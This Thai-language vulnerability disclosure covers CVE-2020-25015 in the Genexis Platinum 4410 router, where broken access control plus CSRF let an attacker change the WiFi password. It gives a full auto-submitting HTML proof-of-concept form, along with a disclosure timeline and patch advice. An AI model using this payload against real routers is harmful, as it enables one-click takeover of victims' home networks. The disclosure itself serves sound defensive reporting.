ขณะทดสอบเราเตอร์ที่บ้าน Genexis Platinum 4410 เวอร์ชัน 2.1 (ซอฟต์แวร์เวอร์ชัน P4410-V2-1.28) ฉันพบว่าเราเตอร์มีความเสี่ยงต่อ Broken Access Control และ CSRF
รหัส CVE: CVE-2020-25015
สรุป
Platinum 4410 เป็นเราเตอร์ขนาดกะทัดรัดจาก Genexis ที่ใช้กันทั่วไปในบ้าน เวอร์ชันฮาร์ดแวร์ V2.1 – ซอฟต์แวร์เวอร์ชัน P4410-V2-1.28 พบว่ามีความเสี่ยงต่อการควบคุมการเข้าถึงที่ไม่สมบูรณ์และ CSRF ซึ่งสามารถรวมกันเพื่อเปลี่ยนรหัสผ่านของจุดเชื่อมต่อ WIFI จากระยะไกลได้
สำหรับข้อมูลเพิ่มเติมเกี่ยวกับ CSRF โปรดไปที่บทความนี้
ผลกระทบ
ผู้โจมตีสามารถส่งลิงก์ไปยังเหยื่อได้ ซึ่งหากเขาคลิกในขณะที่เขาเชื่อมต่อกับเครือข่าย WIFI ที่สร้างจากเราเตอร์ที่มีช่องโหว่ รหัสผ่านของจุดเชื่อมต่อ WIFI จะถูกเปลี่ยนผ่านการใช้ประโยชน์จาก CSRF เนื่องจากเราเตอร์มีความเสี่ยงต่อ Broken Access Control เหยื่อจึงไม่จำเป็นต้องเข้าสู่ระบบในหน้าการตั้งค่าบนเว็บของเราเตอร์ (192.168.1.1) ซึ่งจะทำให้เป็นแฮ็คเพียงคลิกเดียว
ช่องโหว่
ตามหลักการแล้ว การโจมตีนี้น่าจะสร้างปัญหาได้ เพราะเพื่อให้การโจมตี CSRF สำเร็จ เหยื่อจะต้องลงชื่อเข้าใช้แอปพลิเคชันที่อยู่ภายใต้การโจมตี (ในกรณีนี้คือหน้าการตั้งค่าบนเว็บที่ 192.168.1.1) และส่วนใหญ่ หน้าการตั้งค่าเราเตอร์จะสิ้นสุดเซสชันผู้ใช้โดยอัตโนมัติ นอกจากนี้ ลูกค้ามักจะเข้าชมหน้าการตั้งค่าของเราเตอร์ด้วยเช่นกัน อย่างไรก็ตาม เนื่องจากช่องโหว่ในการควบคุมการเข้าถึงที่ใช้งานไม่ได้ในเฟิร์มแวร์เวอร์ชันล่าสุดในขณะที่รายงาน คำขอเปลี่ยนรหัสผ่านอาจส่งโดยบุคคลที่ไม่ผ่านการตรวจสอบสิทธิ์เช่นกัน
ด้วยเหตุนี้ เมื่อรวมช่องโหว่ CSRF และ Broken Access Control ในเฟิร์มแวร์เวอร์ชันนี้ ผู้โจมตีสามารถสร้างเอกสาร HTML ด้วยโค้ดต่อไปนี้และหลอกล่อให้ผู้ใช้ส่งเอกสารดังกล่าว
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://192.168.1.1/cgi-bin/net-wlan.asp" method="POST">
<input type="hidden" name="wlEnbl" value="ON" />
<input type="hidden" name="hwlKeys0" value="" />
<input type="hidden" name="hwlKeys1" value="" />
<input type="hidden" name="hwlKeys2" value="" />
<input type="hidden" name="hwlKeys3" value="" />
<input type="hidden" name="hwlgMode" value="9" />
<input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" />
<input type="hidden" name="hwlEnbl" value="1" />
<input type="hidden" name="hWPSMode" value="1" />
<input type="hidden" name="henableSsid" value="1" />
<input type="hidden" name="hwlHide" value="0" />
<input type="hidden" name="isInWPSing" value="0" />
<input type="hidden" name="WpsConfModeAll" value="7" />
<input type="hidden" name="WpsConfModeNone" value="0" />
<input type="hidden" name="hWpsStart" value="0" />
<input type="hidden" name="isCUCSupport" value="0" />
<input type="hidden" name="SSIDPre" value="N/A" />
<input type="hidden" name="bwControlhidden" value="0" />
<input type="hidden" name="ht_bw" value="1" />
<input type="hidden" name="wlgMode" value="b,g,n" />
<input type="hidden" name="wlChannel" value="0" />
<input type="hidden" name="wlTxPwr" value="1" />
<input type="hidden" name="wlSsidIdx" value="0" />
<input type="hidden" name="SSID_Flag" value="0" />
<input type="hidden" name="wlSsid" value="JINSON" />
<input type="hidden" name="wlMcs" value="33" />
<input type="hidden" name="bwControl" value="1" />
<input type="hidden" name="giControl" value="1" />
<input type="hidden" name="enableSsid" value="on" />
<input type="hidden" name="wlAssociateNum" value="32" />
<input type="hidden" name="wlSecurMode" value="WPAand11i" />
<input type="hidden" name="wlPreauth" value="off" />
<input type="hidden" name="wlNetReauth" value="1" />
<input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" />
<input type="hidden" name="cb_enablshowpsw" value="on" />
<input type="hidden" name="wlWpaGtkRekey" value="" />
<input type="hidden" name="wlRadiusIPAddr" value="" />
<input type="hidden" name="wlRadiusPort" value="" />
<input type="hidden" name="wlRadiusKey" value="" />
<input type="hidden" name="wlWpa" value="TKIPAES" />
<input type="hidden" name="wlKeyBit" value="64" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="WpsActive" value="0" />
<input type="hidden" name="wpsmode" value="ap-pbc" />
<input type="hidden" name="pinvalue" value="" />
<input type="hidden" name="Save_Flag" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
ตราบใดที่เหยื่อเชื่อมต่อกับจุดเชื่อมต่อ WiFi ที่สร้างโดยเราเตอร์ที่ได้รับผลกระทบ รหัสผ่านของจุดเชื่อมต่อจะเปลี่ยนไปดังแสดงในวิดีโอด้านล่าง
ไทม์ไลน์
- รายงานช่องโหว่ไปยังทีม Genexis เมื่อวันที่ 28 สิงหาคม 2020
- ทีมยืนยันการเปิดตัวเฟิร์มแวร์ที่มีการแก้ไขในวันที่ 14 กันยายน 2020
คำแนะนำ
- ตามทีม Genexis ลูกค้าควรติดต่อ ISP ของตนเพื่อเข้าถึงเฟิร์มแวร์ล่าสุด
- ใช้เราเตอร์ที่ปลอดภัยยิ่งขึ้นหากคุณไม่สามารถอัพเกรดเฟิร์มแวร์ได้
ข้อมูลอ้างอิง
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25015
- https://nvd.nist.gov/vuln/detail/CVE-2020-25015